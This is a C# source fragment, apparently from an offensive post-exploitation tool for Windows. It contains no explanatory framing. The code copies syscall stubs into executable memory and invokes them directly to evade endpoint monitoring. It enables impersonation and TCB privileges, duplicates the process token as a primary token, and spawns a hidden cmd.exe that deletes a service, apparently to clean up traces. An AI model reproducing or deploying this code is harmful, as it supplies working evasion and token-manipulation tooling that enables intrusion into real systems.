public static void getProcessToken(IntPtr handle, TokenAccessFlags access, out IntPtr currentToken, SyscallManager syscall)
{
IntPtr baseAddr = IntPtr.Zero;
byte[] shellcode = syscall.getSyscallASM("NtOpenProcessToken");
var shellcodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellcode.Length, MemoryAllocationFlags.Commit | MemoryAllocationFlags.Reserve, MemoryProtectionFlags.ExecuteReadWrite);
Marshal.Copy(shellcode, 0, shellcodeBuffer, shellcode.Length);
var syscallDelegate = Marshal.GetDelegateForFunctionPointer(shellcodeBuffer, typeof(NtOpenProcessToken));
IntPtr token = IntPtr.Zero;
var arguments = new object[] { handle, access, token };
var returnValue = syscallDelegate.DynamicInvoke(arguments);
currentToken = (IntPtr)arguments[2];
}
// Code from https://www.pinvoke.net/default.aspx/Constants/SECURITY_MANDATORY.html
public static bool IsHighIntegrity(SyscallManager syscall)
{
IntPtr pId = (Process.GetCurrentProcess().Handle);
IntPtr hToken = IntPtr.Zero;
IntPtr baseAddr = IntPtr.Zero;
byte[] shellcode = syscall.getSyscallASM("NtOpenProcessToken");
var shellcodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellcode.Length, MemoryAllocationFlags.Commit | MemoryAllocationFlags.Reserve, MemoryProtectionFlags.ExecuteReadWrite);
Marshal.Copy(shellcode, 0, shellcodeBuffer, shellcode.Length);
var syscallDelegate = Marshal.GetDelegateForFunctionPointer(shellcodeBuffer, typeof(NtOpenProcessToken));
IntPtr token = IntPtr.Zero;
var arguments = new object[] { pId, TokenAccessFlags.TOKEN_QUERY, token };
var returnValue = syscallDelegate.DynamicInvoke(arguments);
if ((int)returnValue == 0)
{
try
{
hToken = (IntPtr)arguments[2];
IntPtr pb = Marshal.AllocCoTaskMem(1000);
try
{
uint cb = 1000;
if (GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, pb, cb, out cb))
{
IntPtr pSid = Marshal.ReadIntPtr(pb);
int dwIntegrityLevel = Marshal.ReadInt32(GetSidSubAuthority(pSid, (Marshal.ReadByte(GetSidSubAuthorityCount(pSid)) - 1U)));
return(dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID ? true : false);
}
}
finally
{
Marshal.FreeCoTaskMem(pb);
}
}
finally
{
CloseHandle(hToken);
}
}
return(false);
}
public void Start()
{
SyscallManager syscall = new SyscallManager();
try
{
IntPtr token = WindowsIdentity.GetCurrent().Token;
List <string> aPrivs = new List <string>();
aPrivs.Add("SeImpersonatePrivilege");
aPrivs.Add("SeTcbPrivilege");
aPrivs.Add("SeAssignPrimaryTokenPrivilege");
aPrivs.Add("SeIncreaseQuotaPrivilege");
IntPtr currentToken;
IntPtr baseAddr = IntPtr.Zero;
byte[] shellcode = syscall.getSyscallASM("NtOpenProcessToken");
var shellcodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellcode.Length, MemoryAllocationFlags.Commit | MemoryAllocationFlags.Reserve, MemoryProtectionFlags.ExecuteReadWrite);
Marshal.Copy(shellcode, 0, shellcodeBuffer, shellcode.Length);
var syscallDelegate = Marshal.GetDelegateForFunctionPointer(shellcodeBuffer, typeof(NtOpenProcessToken));
IntPtr t = IntPtr.Zero;
var arguments = new object[] { Process.GetCurrentProcess().Handle, TokenAccessFlags.TOKEN_ADJUST_PRIVILEGES, t };
var returnValue = syscallDelegate.DynamicInvoke(arguments);
currentToken = (IntPtr)arguments[2];
enablePrivileges(currentToken, aPrivs);
CloseHandle(currentToken);
TokenAccessFlags tokenAccess = TokenAccessFlags.TOKEN_QUERY | TokenAccessFlags.TOKEN_ASSIGN_PRIMARY |
TokenAccessFlags.TOKEN_DUPLICATE | TokenAccessFlags.TOKEN_ADJUST_DEFAULT |
TokenAccessFlags.TOKEN_ADJUST_SESSIONID;
IntPtr newToken = IntPtr.Zero;
if (!DuplicateTokenEx(token, tokenAccess, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, out newToken))
{
return;
}
STARTUPINFO startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpDesktop = "";
startupInfo.wShowWindow = 0;
startupInfo.dwFlags |= 0x00000001;
PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
LogonFlags l = new LogonFlags();
if (CreateProcessAsUserW(newToken, @"c:\windows\system32\cmd.exe /Q /C sc delete NewDefaultService2 && exit", null, IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out processInfo))
{
TokenManager.Token = newToken;
TokenManager.Method = 1;
}
else
{
if (CreateProcessWithTokenW(newToken, l, @"c:\windows\system32\cmd.exe /Q /C sc delete NewDefaultService2 && exit", null, 0, IntPtr.Zero, null, ref startupInfo, out processInfo))
{
TokenManager.Token = newToken;
TokenManager.Method = 2;
}
}
}
catch { }
}